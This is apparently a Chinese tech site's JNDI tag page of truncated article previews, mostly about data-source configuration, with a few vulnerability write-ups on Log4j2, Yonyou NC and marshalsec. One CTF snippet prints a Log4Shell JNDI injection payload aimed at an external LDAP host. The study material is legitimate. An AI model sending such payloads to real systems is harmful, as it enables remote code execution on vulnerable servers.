首页
Python
Java
前端
数据库
Linux
Chatgpt专题
开发者工具箱
jndi专题
java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。
开源项目的git代码地址:GitHub - mbechler/marshalsec 实现了ldap,rmi 的server端代码。 shi 编译 这里跳过编译时的test mvn "-Dmaven.test.skip=true" -P clean package 编译后target目录 演示如何启动ldap服务 上传编译后的class文件到http服务器 把Expl
阅读更多...
JBoss7 创建客户端通过JNDI调用EJB
转:http://k1280000.iteye.com/blog/1654740 参考:http://wenku.baidu.com/link?url=phjFT-9Y03RtAFoqDMgKOvqdk3XdrGghYQBge4ZzC9W3t0fjkVkzJLQ0d92_KaJ5MS9mNa2yIDFNG65XmKfvoHgVAY-TyLrTLunGUIaZWve JBOSS 6,7调
阅读更多...
JNDI参数设置
http://blog.csdn.net/fhm727/article/details/7444078 name:表示你的连接池的名称也就是你要访问连接池的地址 auth:是连接池管理权属性,Container表示容器管理 type:是对象的类型 driverClassName:是数据库驱动的名称 url:是数据库的地址 username:是登
阅读更多...
粗浅看 JNDI原理
介绍 JNDI 是 Java 命名和目录接口(Java Naming and Directory Interface,JNDI) 的简称。从一开始就一直是 Java 2 平台企业版的核心技术之一。在 JMS,JMail,JDBC,EJB 等技术中,就大量应用的这种技术。JNDI 可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directo
阅读更多...
JAVA菜鸟成长记——JNDI
JNDI简介 JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统 接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API 映射为特定的命名服务和目录系统,使得Java应用程序可以和这
阅读更多...
【规范】JNDI
定义 JNDI是 Java 命名与目录接口(Java Naming and DirectoryInterface),在J2EE规范中是重要的规范之一,不少专家认为,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE特别是EJB的知识。 先回忆没有JNDI的时候,我们作为程序员的做法。 程序员开发时,知道要开发访问MySQL数据库的应用,于是将一个对 MySQL JDBC驱动程序类
阅读更多...
jdbc、连接池、Jndi
java database connectivity java数据库连接 是java的Api,使用它,可以与数据库产品进行沟通,提供了连接数据库并进行数据库操作的功能。 并且可以面向不同的数据库进行编程,提供相同的接口,掩盖实际操作的差异。 实际会由不同的数据库厂商自己实现各自的接口,一般会叫它们【数据库驱动包】,比如: mysql的mysql-connector-java.jar o
阅读更多...
java 的JNDI 看看这额片文章之后你就懂了
JNDI 是什么 JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一,不少专家认为,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE特别是EJB的知识。 那么,JNDI到底起什么作用? 要了解JNDI的作用,我们可以从“如果不用JNDI我们怎样做?用了JNDI后我们又将怎样做?”这个问题来探讨
阅读更多...
Caused by: java.lang.ClassNotFoundException: org.hibernate.engine.jndi.JndiNameException
添加hibernate 二级缓存时产生error Caused by: java.lang.ClassNotFoundException: org.hibernate.engine.jndi.JndiNameException 解决参考:点击打开链接 原因:自己分别添加的各自版本的 jar 包,导致依赖版本冲突。 解决:更改为 Hibernate 发布包里 提供的缓存依赖版本号。\h
阅读更多...
JNDI到底是什么?书上讲的看不懂? ——JNDI入门解释篇
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一,不少专家认为,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE特别是EJB的知识。 那么,JNDI到底起什么作用? 要了解JNDI的作用,我们可以从“如果不用JNDI我们怎样做?用了JNDI后我们又将怎样做?”这个问题来探讨。
阅读更多...
【漏洞复现】用友NC registerServlet JNDI 远程代码执行漏洞(XVE-2024-10248)
0x01 产品简介 用友NC是 用友软件股份有限公司开发的一套企业级管理软件系统。它是一个基于互联网的多层应用系统,旨在为中大型企业提供全面、集成的管理解决方案。是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,实现企业的数字化转型和业务流程优化。 0x02 漏洞概述 用友NC registerServlet 接口处存在JN
阅读更多...
严重:Parse error in application web.xml file at jndi:/localhost/day_29/WEB-INF/web.xml解决办法
首先,遇到这类问题,可以先锁定问题是出在了web.xml当中,咱们看看问题的具体描述 严重: Parse error in application web.xml file at jndi:/localhost/day_29/WEB-INF/web.xml org.xml.sax.SAXParseException; systemId: jndi:/localhost/day_29/WEB-IN
阅读更多...
案例 tomcat 中 配置JNDI 连接数据库
实际项目中,特别是通过发版平台的项目,生产环境数据库连接地址往往和容器绑定;用以避免数据库密码暴露的情况 1. 配置数据源: 本案例配置了pg数据库的连接信息,其他数据库则需要做相应的调整: 1.1 配置server.xml文件:添加数据源 <Resource auth="Container" driverClassName="org.postgresql.Driver" maxAc
阅读更多...
JNDI 命名和目录操作
Naming and Directory Operations 原文地址: https://docs.oracle.com/javase/tutorial/jndi/TOC.html 你可以使用JNDI进行命名操作,包括读和更新操作命名空间。在本文中描述了以下操作: 查找对象列出Context的内容添加,覆盖,去除绑定重命名对象创建和销毁subcontext 配置 在进行任何操作的命名或
阅读更多...
tomcat读取jndi
可能你在网上也会找到另外的一些文章,配置方法真是五花八门!但是如果你细心一点就会发现,可能都会要求你把JDBC驱动放到%CATALINA_HOME%\common\lib下面。其实这会给别人带来部署上的不方便,因为更改了别人的文件系统。 至于为什么会有这样的要求,那是因为在配置数据源的时候,默认采用了Tomcat自带的那个DBCP数据源,或者配置了自己的数据源却没有把相应的一些J
阅读更多...
tomcat下的JNDI配置
jndi(Java Naming and Directory Interface) Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得我们可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。 tomcat配置jndi有全局配置和局部配置。 一:只说全局配置 a):在tomcat的con
阅读更多...
用JAVA代码获取Weblogic配置的JNDI 数据源连接
/*** jndi 获取连接* * @param jndiName* @return*/public static Connection getconn(String jndiName) {Connection conn = null;try {// weblogic 环境下使用 Hashtable ht = new Hashtable();ht.put(Context.INITIAL_CON
阅读更多...
Java数据库连接-JNDI方式- 配置Tomcat6.0 连接池 配置相关
JNDI方式 - 配置Tomcat6.0 连接池 数据库 连接池的基本思想就是为数据库连接建立一个“缓冲池”。预先在缓冲池中放入一定数量的连接,当需要建立数据库连接时,只需从“缓冲池”中取出一个,使用完毕之后再放回去。我们可以通过设定连接池最大连接数来防止系统无尽的与数据库连接。更为重要的是我们可以通过连接池的管理机制监视数据库的连接的数量,使用情况,为系统开发,测试及性能调整提供依据。
阅读更多...
【Web】log4j打JNDI专题刷题记录
目录 Apache log4j漏洞靶机 Vulfocus log4j2-rce靶机 [HZNUCTF 2023 final]ezjava Apache log4j漏洞靶机 访问/webstudy/hello-fengxuan post传参 c=${jndi:ldap://124.222.136.33:1339/#aaa} Rev.java import ja
阅读更多...
JNDI了解
JNDI(Java Naming and Directory Interface):Java命名和目录接口,是Java API的一部分,提供了一种在Java程序中查找和访问各种命名和目录服务的机制。 主要功能包括: 1.命名服务:JNDI允许Java应用程序通过名称来查找数据和对象。这些数据和对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI)、公共对象请求代理体系结构(CORBA)、
阅读更多...
基于JNDI 的SSM 实现 CRUD
MyBatis提供的数据源类型有三种:UNPOOLED,POOLED,JNDI。其中UNPOOLED这个数据源实现只是在每次请求的时候简单的打开和关闭一个连接,基本很少使用,我们使用比较多的无外乎POOLED(该方式也是MyBatis推荐的使用方式),JNDI方式使用的少,网上相关的资料也比较少,最近由于教学需要,简单的研究了一下,做了一个练习的小项目。希望能给大家带来点帮助,web项目(spri
阅读更多...
Tomcat6.0.37以数据源(jndi)方式访问数据库,数据库连接字符串
使用JDBC的弊端:每次操作数据库都要加载驱动得到一个连接,这样非常浪费时间。 使用数据源和连接池的方式:根据项目的大小预先分配一定数量的连接供用户使,接下来详细讲述TomCat 6中如何设置数据源和连接池。 步骤一:. 在tomcat 6目录下conf/context.xml文件中 加入以下红色字体代码 <?xml version='1.0' encoding='utf-8
阅读更多...
What is 'JNDI'? What does 'JDNI' do?
文章转自:http://blog.csdn.NET/cymm_liu/article/details/34417907 JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一,不少专家认为,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE特别是EJB的知识。 那么,JNDI到底起什么作用?//带
阅读更多...
Apache Log4j2 Jndi RCE CVE-2021-44228漏洞原理讲解
Apache Log4j2 Jndi RCE CVE-2021-44228漏洞原理讲解 一、什么是Log4j2二、环境搭建三、简单使用Log4j2四、JDNI和RMI4.1、启动一个RMI服务端4.2、启动一个RMI客户端4.3、ldap 五、漏洞复现六、Python批量检测 参考视频:https://www.bilibili.com/video/BV1mZ4y1D7Ki/?spm
阅读更多...
JNDI注入原理及利用IDEA漏洞复现
🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋🙏作者水平有限,欢迎各位大佬指点,相互学习进步! 目录 0x1 前言
阅读更多...
【Web】浅聊Hessian反序列化之打Spring AOP——JNDI
目录 前言 简单分析 EXP 前言 前文:【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客 前文里最后给到一条HotSwappableTargetSource利用链,就是我们今天PartiallyComparableAdvisorHolder链子的前半段(触发恶意类的toString方法),故不再赘述。 多嘴提一句,复现的时候记得jdk换成8u100以
阅读更多...